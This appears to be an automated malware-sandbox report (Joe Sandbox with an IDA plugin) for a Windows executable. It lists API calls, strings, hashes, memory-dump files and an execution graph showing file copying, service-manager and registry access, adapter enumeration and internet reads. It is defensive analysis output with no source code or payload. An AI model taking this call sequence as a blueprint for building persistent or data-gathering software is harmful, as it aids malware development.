                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1B012B33B55B7179FB3045256D01F7B57889B82B60F64013BF942EA2C0D6999C04936E
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 004555E4: GetCurrentProcess.KERNEL32(00000028), ref: 004555F3
                                                                                                                                                                                                                                        • Part of subcall function 004555E4: OpenProcessToken.ADVAPI32(00000000,00000028), ref: 004555F9
                                                                                                                                                                                                                                      • SetForegroundWindow.USER32(?), ref: 00497406
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Not restarting Windows because Uninstall is being run from the debugger., xrefs: 00497431
                                                                                                                                                                                                                                      • Restarting Windows., xrefs: 004973E3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Process$CurrentForegroundOpenTokenWindow
                                                                                                                                                                                                                                      • String ID: Not restarting Windows because Uninstall is being run from the debugger.$Restarting Windows.
                                                                                                                                                                                                                                      • API String ID: 3179053593-4147564754
                                                                                                                                                                                                                                      • Opcode ID: 4193847a8af397455179383c4cf3c5e93af51966d3aee1b0e62b09f4ca4c6cf6
                                                                                                                                                                                                                                      • Instruction ID: 81a48865aaf16d48f947dda4b05133a8651c2c420a775bb83d5095b98b759fde
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4193847a8af397455179383c4cf3c5e93af51966d3aee1b0e62b09f4ca4c6cf6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1C01B5B0618244AAEB01FB66E992B983F989B44308F80407BF5446B2D3C73C994AC75D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0047CBBC: FreeLibrary.KERNEL32(72AE0000,00481513), ref: 0047CBD2
                                                                                                                                                                                                                                        • Part of subcall function 0047C88C: GetTickCount.KERNEL32 ref: 0047C8D6
                                                                                                                                                                                                                                        • Part of subcall function 004570E0: SendMessageA.USER32(00000000,00000B01,00000000,00000000), ref: 004570FF
                                                                                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000001,?,?,?,?,004984CB), ref: 00497BC9
                                                                                                                                                                                                                                      • TerminateProcess.KERNEL32(00000000,00000001,?,?,?,?,004984CB), ref: 00497BCF
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      • Detected restart. Removing temporary directory., xrefs: 00497B83
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Process$CountCurrentFreeLibraryMessageSendTerminateTick
                                                                                                                                                                                                                                      • String ID: Detected restart. Removing temporary directory.
                                                                                                                                                                                                                                      • API String ID: 1717587489-3199836293
                                                                                                                                                                                                                                      • Opcode ID: edd495a3eb806bce708dfd09f75f47a0044e32d2cd5383a21bd3adb2a5963435
                                                                                                                                                                                                                                      • Instruction ID: d50bc6c630895905583a3a2fadab6dc9590d78cbbd3fad9bb3e23ee4b0713a5b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: edd495a3eb806bce708dfd09f75f47a0044e32d2cd5383a21bd3adb2a5963435
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C8E0E57221C7042EDA1177B7BC62A573F8CD74576C761447FF90881992C42D6810C67D
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLastSleep
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1458359878-0
                                                                                                                                                                                                                                      • Opcode ID: 6f2b27bda8ca5cc9560dd93be1cc0b104f7b92667656e0278d509a2706482566
                                                                                                                                                                                                                                      • Instruction ID: f31041694d7e6b08a2ea33ec2b58b28b25921f40701f973673b956735a8b67d8
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6f2b27bda8ca5cc9560dd93be1cc0b104f7b92667656e0278d509a2706482566
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 42F02B32705F58A78B21B56A889157FB2A8DB81366750012BFC0CD7313C878CC058BBC

                                                                                                                                                                                                                                      Execution Graph

                                                                                                                                                                                                                                      Execution Coverage:2.5%
                                                                                                                                                                                                                                      Dynamic/Decrypted Code Coverage:66.2%
                                                                                                                                                                                                                                      Signature Coverage:19.9%
                                                                                                                                                                                                                                      Total number of Nodes:488
                                                                                                                                                                                                                                      Total number of Limit Nodes:28
                                                                                                                                                                                                                                      execution_graph 61351 2d8e898 CreateFileA 61352 2d8e994 61351->61352 61354 2d8e8c9 61351->61354 61353 2d8e8e1 DeviceIoControl 61353->61354 61354->61353 61355 2d8e98a CloseHandle 61354->61355 61356 2d8e956 GetLastError 61354->61356 61358 2d927b5 61354->61358 61355->61352 61356->61354 61356->61355 61360 2d927bd 61358->61360 61361 2d927d7 61360->61361 61363 2d927db std::exception::exception 61360->61363 61366 2d91fac 61360->61366 61383 2d96e63 RtlDecodePointer 61360->61383 61361->61354 61384 2d931ba RaiseException 61363->61384 61365 2d92805 61367 2d92027 61366->61367 61379 2d91fb8 61366->61379 61391 2d96e63 RtlDecodePointer 61367->61391 61369 2d9202d 61392 2d94abb 59 API calls __getptd_noexit 61369->61392 61372 2d91feb RtlAllocateHeap 61372->61379 61382 2d9201f 61372->61382 61374 2d92013 61389 2d94abb 59 API calls __getptd_noexit 61374->61389 61378 2d91fc3 61378->61379 61385 2d97281 59 API calls 2 library calls 61378->61385 61386 2d972de 59 API calls 8 library calls 61378->61386 61387 2d96eca GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 61378->61387 61379->61372 61379->61374 61379->61378 61380 2d92011 61379->61380 61388 2d96e63 RtlDecodePointer 61379->61388 61390 2d94abb 59 API calls __getptd_noexit 61380->61390 61382->61360 61383->61360 61384->61365 61385->61378 61386->61378 61388->61379 61389->61380 61390->61382 61391->61369 61392->61382 61675 40d222 61676 40d228 61675->61676 61677 40d800 CreateDirectoryA 61676->61677 61393 2d8e99c LoadLibraryA 61394 2d8ea7f 61393->61394 61395 2d8e9c5 GetProcAddress 61393->61395 61396 2d8ea78 FreeLibrary 61395->61396 61397 2d8e9d9 61395->61397 61396->61394 61398 2d8e9eb GetAdaptersInfo 61397->61398 61399 2d8ea73 61397->61399 61400 2d927b5 _Allocate 60 API calls 61397->61400 61398->61397 61399->61396 61400->61397 61678 40d8e4 61679 40d8e5 61678->61679 61680 40dc58 RegCloseKey 61679->61680 61681 40d906 RegOpenKeyExA 61679->61681 61681->61679 61401 2dc3b1a 61402 2dc3b1d CreateFileA 61401->61402 61404 2e08b1b 61402->61404 61404->61404 61405 2dbcf9c SHGetSpecialFolderPathA 61406 2dbcfad 61405->61406 61407 40dd8c 61408 40dd8d CopyFileA 61407->61408 61410 40ddaa OpenSCManagerA 61408->61410 61411 40de14 61410->61411 61411->61411 61412 2dc9210 61413 2dec1a3 DeleteFileA 61412->61413 61683 4027ec GetCommandLineW CommandLineToArgvW 61684 402d02 GetLocalTime 61683->61684 61686 40d034 61684->61686 61689 401f27 61686->61689 61690 401f3c 61689->61690 61693 401a1d 61690->61693 61692 401f45 61694 401a2c 61693->61694 61699 401a4f CreateFileA 61694->61699 61698 401a3e 61698->61692 61700 401a35 61699->61700 61704 401a7d 61699->61704 61707 401b4b LoadLibraryA 61700->61707 61701 401a98 DeviceIoControl 61701->61704 61703 401b3a CloseHandle 61703->61700 61704->61701 61704->61703 61705 401b0e GetLastError 61704->61705 61716 403106 7 API calls 61704->61716 61717 4030f8 12 API calls 61704->61717 61705->61703 61705->61704 61708 401c21 61707->61708 61709 401b6e GetProcAddress 61707->61709 61708->61698 61710 401c18 FreeLibrary 61709->61710 61714 401b85 61709->61714 61710->61708 61711 401b95 GetAdaptersInfo 61711->61714 61713 401c15 61713->61710 61714->61711 61714->61713 61718 403106 7 API calls 61714->61718 61719 4030f8 12 API calls 61714->61719 61716->61704 61717->61704 61718->61714 61719->61714 61414 403310 GetVersion 61438 404454 HeapCreate 61414->61438 61416 40336f 61417 403374 61416->61417 61418 40337c 61416->61418 61513 40342b 8 API calls 61417->61513 61450 404134 61418->61450 61421 403384 GetCommandLineA 61464 404002 61421->61464 61426 40339e 61496 403cfc 61426->61496 61428 4033a3 61429 4033a8 GetStartupInfoA 61428->61429 61509 403ca4 61429->61509 61431 4033ba GetModuleHandleA 61433 4033de 61431->61433 61514 403a4b GetCurrentProcess TerminateProcess ExitProcess 61433->61514 61435 4033e7 61515 403b20 UnhandledExceptionFilter 61435->61515 61437 4033f8 61439 404474 61438->61439 61440 4044aa 61438->61440 61516 40430c 19 API calls 61439->61516 61440->61416 61442 404479 61443 404490 61442->61443 61444 404483 61442->61444 61446 4044ad 61443->61446 61518 40507c HeapAlloc VirtualAlloc VirtualAlloc VirtualFree HeapFree 61443->61518 61517 40482b HeapAlloc 61444->61517 61446->61416 61447 40448d 61447->61446 61449 40449e HeapDestroy 61447->61449 61449->61440 61519 40344f 61450->61519 61453 404153 GetStartupInfoA 61461 404264 61453->61461 61463 40419f 61453->61463 61456 4042cb SetHandleCount 61456->61421 61457 40428b GetStdHandle 61459 404299 GetFileType 61457->61459 61457->61461 61458 40344f 12 API calls 61458->61463 61459->61461 61460 404210 61460->61461 61462 404232 GetFileType 61460->61462 61461->61456 61461->61457 61462->61460 61463->61458 61463->61460 61463->61461 61465 404050 61464->61465 61466 40401d GetEnvironmentStringsW 61464->61466 61468 404025 61465->61468 61469 404041 61465->61469 61467 404031 GetEnvironmentStrings 61466->61467 61466->61468 61467->61469 61470 403394 61467->61470 61471 404069 WideCharToMultiByte 61468->61471 61472 40405d GetEnvironmentStringsW 61468->61472 61469->61470 61473 4040e3 GetEnvironmentStrings 61469->61473 61474 4040ef 61469->61474 61487 403db5 61470->61487 61476 40409d 61471->61476 61477 4040cf FreeEnvironmentStringsW 61471->61477 61472->61470 61472->61471 61473->61470 61473->61474 61478 40344f 12 API calls 61474->61478 61479 40344f 12 API calls 61476->61479 61477->61470 61485 40410a 61478->61485 61480 4040a3 61479->61480 61480->61477 61481 4040ac WideCharToMultiByte 61480->61481 61483 4040c6 61481->61483 61484 4040bd 61481->61484 61482 404120 FreeEnvironmentStringsA 61482->61470 61483->61477 61528 403501 61484->61528 61485->61482 61488 403dc7 61487->61488 61489 403dcc GetModuleFileNameA 61487->61489 61541 406614 19 API calls 61488->61541 61491 403def 61489->61491 61492 40344f 12 API calls 61491->61492 61493 403e10 61492->61493 61494 403e20 61493->61494 61542 403406 7 API calls 61493->61542 61494->61426 61497 403d09 61496->61497 61499 403d0e 61496->61499 61543 406614 19 API calls 61497->61543 61500 40344f 12 API calls 61499->61500 61501 403d3b 61500->61501 61508 403d4f 61501->61508 61544 403406 7 API calls 61501->61544 61503 403d92 61504 403501 7 API calls 61503->61504 61505 403d9e 61504->61505 61505->61428 61506 40344f 12 API calls 61506->61508 61508->61503 61508->61506 61545 403406 7 API calls 61508->61545 61510 403cad 61509->61510 61512 403cb2 61509->61512 61546 406614 19 API calls 61510->61546 61512->61431 61514->61435 61515->61437 61516->61442 61517->61447 61518->61447 61523 403461 61519->61523 61522 403406 7 API calls 61522->61453 61524 40345e 61523->61524 61526 403468 61523->61526 61524->61453 61524->61522 61526->61524 61527 40348d 12 API calls 61526->61527 61527->61526 61529 40350d 61528->61529 61537 403529 61528->61537 61530 40352d 61529->61530 61533 403517 61529->61533 61531 403558 61530->61531 61536 403547 61530->61536 61532 403559 HeapFree 61531->61532 61532->61537 61533->61532 61534 403523 61533->61534 61539 40489e VirtualFree VirtualFree HeapFree 61534->61539 61540 40532f VirtualFree HeapFree VirtualFree 61536->61540 61537->61483 61539->61537 61540->61537 61541->61489 61542->61494 61543->61499 61544->61508 61545->61508 61546->61512 61720 40d6f0 61721 40d72a 61720->61721 61722 4021e3 61720->61722 61722->61721 61723 40d7c4 61722->61723 61724 402a88 Sleep 61722->61724 61727 401f64 FindResourceA 61723->61727 61724->61722 61726 40dc0f 61728 401f86 GetLastError SizeofResource 61727->61728 61729 401f9f 61727->61729 61728->61729 61730 401fa6 LoadResource LockResource GlobalAlloc 61728->61730 61729->61726 61731 401fd2 61730->61731 61732 401ffb GetTickCount 61731->61732 61734 402005 GlobalAlloc 61732->61734 61734->61729 61735 4026f2 61736 402b04 VirtualAlloc 61735->61736 61738 4022b3 61739 40d05b LoadLibraryExA 61738->61739 61740 40de19 61739->61740 61547 2dbcfce WriteFile 61548 2dfa490 61547->61548 61549 2d8104d 61554 2d923a4 61549->61554 61560 2d922a8 61554->61560 61556 2d81057 61557 2d81aa9 InterlockedIncrement 61556->61557 61558 2d8105c 61557->61558 61559 2d81ac5 WSAStartup InterlockedExchange 61557->61559 61559->61558 61561 2d922b4 __lseeki64 61560->61561 61568 2d97140 61561->61568 61567 2d922db __lseeki64 61567->61556 61585 2d9749b 61568->61585 61570 2d922bd 61571 2d922ec RtlDecodePointer RtlDecodePointer 61570->61571 61572 2d92319 61571->61572 61573 2d922c9 61571->61573 61572->61573 61594 2d97d0d 60 API calls _vscan_fn 61572->61594 61582 2d922e6 61573->61582 61575 2d9232b 61576 2d9237c RtlEncodePointer RtlEncodePointer 61575->61576 61577 2d92350 61575->61577 61595 2d976a9 62 API calls 2 library calls 61575->61595 61576->61573 61577->61573 61580 2d9236a RtlEncodePointer 61577->61580 61596 2d976a9 62 API calls 2 library calls 61577->61596 61580->61576 61581 2d92364 61581->61573 61581->61580 61597 2d97149 61582->61597 61586 2d974ac 61585->61586 61587 2d974bf RtlEnterCriticalSection 61585->61587 61592 2d97523 59 API calls 9 library calls 61586->61592 61587->61570 61589 2d974b2 61589->61587 61593 2d96fed 59 API calls 3 library calls 61589->61593 61592->61589 61594->61575 61595->61577 61596->61581 61600 2d97605 RtlLeaveCriticalSection 61597->61600 61599 2d922eb 61599->61567 61600->61599 61741 2e02015 61742 2e0aecb InternetReadFile 61741->61742 61601 2d85e4f RtlInitializeCriticalSection GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress 61670 2d842c7 61601->61670 61603 2d85ebc GetTickCount 61604 2d859fa 59 API calls 61603->61604 61605 2d85ed9 GetVersionExA 61604->61605 61606 2d85f1a _memset 61605->61606 61607 2d91fac _malloc 59 API calls 61606->61607 61608 2d85f27 61607->61608 61609 2d91fac _malloc 59 API calls 61608->61609 61610 2d85f37 61609->61610 61611 2d91fac _malloc 59 API calls 61610->61611 61612 2d85f42 61611->61612 61613 2d91fac _malloc 59 API calls 61612->61613 61614 2d85f4d 61613->61614 61615 2d91fac _malloc 59 API calls 61614->61615 61616 2d85f58 61615->61616 61617 2d91fac _malloc 59 API calls 61616->61617 61618 2d85f63 61617->61618 61619 2d91fac _malloc 59 API calls 61618->61619 61620 2d85f6e 61619->61620 61621 2d91fac _malloc 59 API calls 61620->61621 61622 2d85f7a 6 API calls 61621->61622 61623 2d85fc7 _memset 61622->61623 61624 2d85fe0 RtlEnterCriticalSection RtlLeaveCriticalSection 61623->61624 61625 2d91fac _malloc 59 API calls 61624->61625 61626 2d8601c 61625->61626 61627 2d91fac _malloc 59 API calls 61626->61627 61628 2d8602a 61627->61628 61629 2d91fac _malloc 59 API calls 61628->61629 61630 2d86031 61629->61630 61631 2d91fac _malloc 59 API calls 61630->61631 61632 2d86052 QueryPerformanceCounter Sleep 61631->61632 61633 2d91fac _malloc 59 API calls 61632->61633 61634 2d86078 61633->61634 61635 2d91fac _malloc 59 API calls 61634->61635 61666 2d86088 _memset shared_ptr 61635->61666 61636 2d860f5 Sleep 61637 2d860fb RtlEnterCriticalSection RtlLeaveCriticalSection 61636->61637 61637->61666 61638 2d8648f RtlEnterCriticalSection RtlLeaveCriticalSection 61639 2d9133c 66 API calls 61638->61639 61639->61666 61640 2d91fac _malloc 59 API calls 61641 2d86531 RtlEnterCriticalSection RtlLeaveCriticalSection 61640->61641 61641->61666 61642 2d867e8 RtlEnterCriticalSection RtlLeaveCriticalSection 61642->61666 61643 2d9133c 66 API calls 61643->61666 61644 2d85c02 59 API calls 61644->61666 61645 2d91418 _sprintf 84 API calls 61645->61666 61646 2d81ba7 210 API calls 61646->61666 61647 2d8694d RtlEnterCriticalSection 61648 2d8697a RtlLeaveCriticalSection 61647->61648 61647->61666 61649 2d83c67 72 API calls 61648->61649 61649->61666 61650 2d91fac _malloc 59 API calls 61650->61666 61651 2d83d7e 64 API calls 61651->61666 61652 2d87330 89 API calls 61652->61666 61653 2d91f74 _free 59 API calls 61653->61666 61654 2d925e6 65 API calls _strtok 61654->61666 61655 2d87ff8 88 API calls 61655->61666 61656 2d927b5 _Allocate 60 API calls 61656->61666 61657 2d873df 71 API calls 61657->61666 61658 2d91850 _swscanf 59 API calls 61658->61666 61659 2d833b2 86 API calls 61659->61666 61660 2d8872c 212 API calls 61660->61666 61661 2d89844 60 API calls 61661->61666 61662 2d8971a 73 API calls 61662->61666 61663 2d85119 103 API calls 61663->61666 61664 2d8c10c 73 API calls 61664->61666 61665 2d89c04 210 API calls 61665->61666 61666->61636 61666->61637 61666->61638 61666->61640 61666->61642 61666->61643 61666->61644 61666->61645 61666->61646 61666->61647 61666->61648 61666->61650 61666->61651 61666->61652 61666->61653 61666->61654 61666->61655 61666->61656 61666->61657 61666->61658 61666->61659 61666->61660 61666->61661 61666->61662 61666->61663 61666->61664 61666->61665 61667 2d86765 Sleep 61666->61667 61669 2d84100 GetProcessHeap HeapFree 61666->61669 61668 2d908f0 GetProcessHeap HeapFree 61667->61668 61668->61666 61669->61666 61671 40d4d8 lstrcmpiW 61743 4021f9 61744 402235 CopyFileA 61743->61744 61745 402a82 61744->61745 61746 2dcbba6 61747 2e00017 WriteFile 61746->61747 61748 2e18174 61747->61748 61672 4026dc 61673 40d396 RegCloseKey 61672->61673 61674 40d474 61673->61674 61749 40d4bf 61754 2d92978 61749->61754 61752 40d8f3 61755 2d92981 61754->61755 61756 2d92986 61754->61756 61768 2d9917c GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter 61755->61768 61760 2d9299b 61756->61760 61759 40d4ce Sleep 61759->61752 61761 2d929a7 __lseeki64 61760->61761 61763 2d92a52 __lseeki64 61761->61763 61766 2d929f5 ___DllMainCRTStartup 61761->61766 61769 2d92806 61761->61769 61763->61759 61764 2d92a2f 61764->61763 61765 2d92806 __CRT_INIT@12 136 API calls 61764->61765 61765->61763 61766->61763 61766->61764 61767 2d92806 __CRT_INIT@12 136 API calls 61766->61767 61767->61764 61768->61756 61770 2d92812 __lseeki64 61769->61770 61771 2d9281a 61770->61771 61772 2d92894 61770->61772 61815 2d96e46 GetProcessHeap 61771->61815 61774 2d92898 61772->61774 61775 2d928fd 61772->61775 61786 2d928b9 61774->61786 61808 2d92823 __lseeki64 __CRT_INIT@12 61774->61808 61904 2d97009 59 API calls _doexit 61774->61904 61777 2d92960 61775->61777 61778 2d92902 61775->61778 61776 2d9281f 61776->61808 61816 2d949f4 61776->61816 61777->61808 61934 2d94884 59 API calls 2 library calls 61777->61934 61908 2d97d7b 61778->61908 61783 2d9290d 61783->61808 61911 2d9761a 61783->61911 61784 2d9282f __RTC_Initialize 61791 2d9283f GetCommandLineA 61784->61791 61784->61808 61787 2d928cf __CRT_INIT@12 61786->61787 61905 2d98e1a 60 API calls _free 61786->61905 61907 2d928e8 62 API calls __mtterm 61787->61907 61837 2d99218 GetEnvironmentStringsW 61791->61837 61792 2d928ca 61906 2d94a6a 62 API calls 2 library calls 61792->61906 61797 2d92936 61798 2d9293c 61797->61798 61799 2d92954 61797->61799 61918 2d94941 61798->61918 61928 2d91f74 61799->61928 61803 2d92859 61805 2d9285d 61803->61805 61869 2d98e6c 61803->61869 61804 2d92944 GetCurrentThreadId 61804->61808 61902 2d94a6a 62 API calls 2 library calls 61805->61902 61808->61766 61810 2d9287d 61810->61808 61903 2d98e1a 60 API calls _free 61810->61903 61815->61776 61935 2d970b0 36 API calls 2 library calls 61816->61935 61818 2d949f9 61936 2d975cc InitializeCriticalSectionAndSpinCount __ioinit 61818->61936 61820 2d949fe 61821 2d94a02 61820->61821 61938 2d97d3e TlsAlloc 61820->61938 61937 2d94a6a 62 API calls 2 library calls 61821->61937 61824 2d94a07 61824->61784 61825 2d94a14 61825->61821 61826 2d94a1f 61825->61826 61827 2d9761a __calloc_crt 59 API calls 61826->61827 61828 2d94a2c 61827->61828 61829 2d94a61 61828->61829 61939 2d97d9a TlsSetValue 61828->61939 61940 2d94a6a 62 API calls 2 library calls 61829->61940 61832 2d94a66 61832->61784 61833 2d94a40 61833->61829 61834 2d94a46 61833->61834 61835 2d94941 __initptd 59 API calls 61834->61835 61836 2d94a4e GetCurrentThreadId 61835->61836 61836->61784 61838 2d9922b WideCharToMultiByte 61837->61838 61839 2d9284f 61837->61839 61841 2d9925e 61838->61841 61842 2d99295 FreeEnvironmentStringsW 61838->61842 61850 2d98b66 61839->61850 61941 2d97662 59 API calls 2 library calls 61841->61941 61842->61839 61844 2d99264 61844->61842 61845 2d9926b WideCharToMultiByte 61844->61845 61846 2d9928a FreeEnvironmentStringsW 61845->61846 61847 2d99281 61845->61847 61846->61839 61848 2d91f74 _free 59 API calls 61847->61848 61849 2d99287 61848->61849 61849->61846 61851 2d98b72 __lseeki64 61850->61851 61852 2d9749b __lock 59 API calls 61851->61852 61853 2d98b79 61852->61853 61854 2d9761a __calloc_crt 59 API calls 61853->61854 61856 2d98b8a 61854->61856 61855 2d98bf5 GetStartupInfoW 61863 2d98c0a 61855->61863 61866 2d98d39 61855->61866 61856->61855 61857 2d98b95 __lseeki64 @_EH4_CallFilterFunc@8 61856->61857 61857->61803 61858 2d98e01 61944 2d98e11 RtlLeaveCriticalSection _doexit 61858->61944 61860 2d9761a __calloc_crt 59 API calls 61860->61863 61861 2d98d86 GetStdHandle 61861->61866 61862 2d98d99 GetFileType 61862->61866 61863->61860 61864 2d98c58 61863->61864 61863->61866 61865 2d98c8c GetFileType 61864->61865 61864->61866 61942 2d97dbc InitializeCriticalSectionAndSpinCount 61864->61942 61865->61864 61866->61858 61866->61861 61866->61862 61943 2d97dbc InitializeCriticalSectionAndSpinCount 61866->61943 61870 2d98e7a 61869->61870 61871 2d98e7f GetModuleFileNameA 61869->61871 61951 2d93eea 71 API calls __setmbcp 61870->61951 61872 2d98eac 61871->61872 61945 2d98f1f 61872->61945 61875 2d92869 61875->61810 61880 2d9909b 61875->61880 61878 2d98ee5 61878->61875 61879 2d98f1f _parse_cmdline 59 API calls 61878->61879 61879->61875 61881 2d990a4 61880->61881 61884 2d990a9 _strlen 61880->61884 61955 2d93eea 71 API calls __setmbcp 61881->61955 61883 2d9761a __calloc_crt 59 API calls 61892 2d990df _strlen 61883->61892 61884->61883 61887 2d92872 61884->61887 61885 2d99131 61886 2d91f74 _free 59 API calls 61885->61886 61886->61887 61887->61810 61896 2d97018 61887->61896 61888 2d9761a __calloc_crt 59 API calls 61888->61892 61889 2d99158 61890 2d91f74 _free 59 API calls 61889->61890 61890->61887 61892->61885 61892->61887 61892->61888 61892->61889 61893 2d9916f 61892->61893 61956 2d9591c 59 API calls _vscan_fn 61892->61956 61957 2d93b65 8 API calls 2 library calls 61893->61957 61895 2d9917b 61897 2d97024 __IsNonwritableInCurrentImage 61896->61897 61958 2d9ab7f 61897->61958 61899 2d97042 __initterm_e 61900 2d923a4 __cinit 68 API calls 61899->61900 61901 2d97061 __cinit __IsNonwritableInCurrentImage 61899->61901 61900->61901 61901->61810 61902->61808 61903->61805 61904->61786 61905->61792 61906->61787 61907->61808 61909 2d97d8e 61908->61909 61910 2d97d92 TlsGetValue 61908->61910 61909->61783 61910->61783 61914 2d97621 61911->61914 61913 2d9291e 61913->61808 61917 2d97d9a TlsSetValue 61913->61917 61914->61913 61916 2d9763f 61914->61916 61961 2d9e9a8 61914->61961 61916->61913 61916->61914 61969 2d980b7 Sleep 61916->61969 61917->61797 61919 2d9494d __lseeki64 61918->61919 61920 2d9749b __lock 59 API calls 61919->61920 61921 2d9498a 61920->61921 61972 2d949e2 61921->61972 61924 2d9749b __lock 59 API calls 61925 2d949ab ___addlocaleref 61924->61925 61975 2d949eb 61925->61975 61927 2d949d6 __lseeki64 61927->61804 61929 2d91f7d HeapFree 61928->61929 61933 2d91fa6 __dosmaperr 61928->61933 61930 2d91f92 61929->61930 61929->61933 61980 2d94abb 59 API calls __getptd_noexit 61930->61980 61932 2d91f98 GetLastError 61932->61933 61933->61808 61934->61808 61935->61818 61936->61820 61937->61824 61938->61825 61939->61833 61940->61832 61941->61844 61942->61864 61943->61866 61944->61857 61947 2d98f41 61945->61947 61948 2d98fa5 61947->61948 61953 2d9ef86 59 API calls x_ismbbtype_l 61947->61953 61949 2d98ec2 61948->61949 61954 2d9ef86 59 API calls x_ismbbtype_l 61948->61954 61949->61875 61952 2d97662 59 API calls 2 library calls 61949->61952 61951->61871 61952->61878 61953->61947 61954->61948 61955->61884 61956->61892 61957->61895 61959 2d9ab82 RtlEncodePointer 61958->61959 61959->61959 61960 2d9ab9c 61959->61960 61960->61899 61962 2d9e9b3 61961->61962 61968 2d9e9ce 61961->61968 61963 2d9e9bf 61962->61963 61962->61968 61970 2d94abb 59 API calls __getptd_noexit 61963->61970 61965 2d9e9de RtlAllocateHeap 61967 2d9e9c4 61965->61967 61965->61968 61967->61914 61968->61965 61968->61967 61971 2d96e63 RtlDecodePointer 61968->61971 61969->61916 61970->61967 61971->61968 61978 2d97605 RtlLeaveCriticalSection 61972->61978 61974 2d949a4 61974->61924 61979 2d97605 RtlLeaveCriticalSection 61975->61979 61977 2d949f2 61977->61927 61978->61974 61979->61977 61980->61932

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
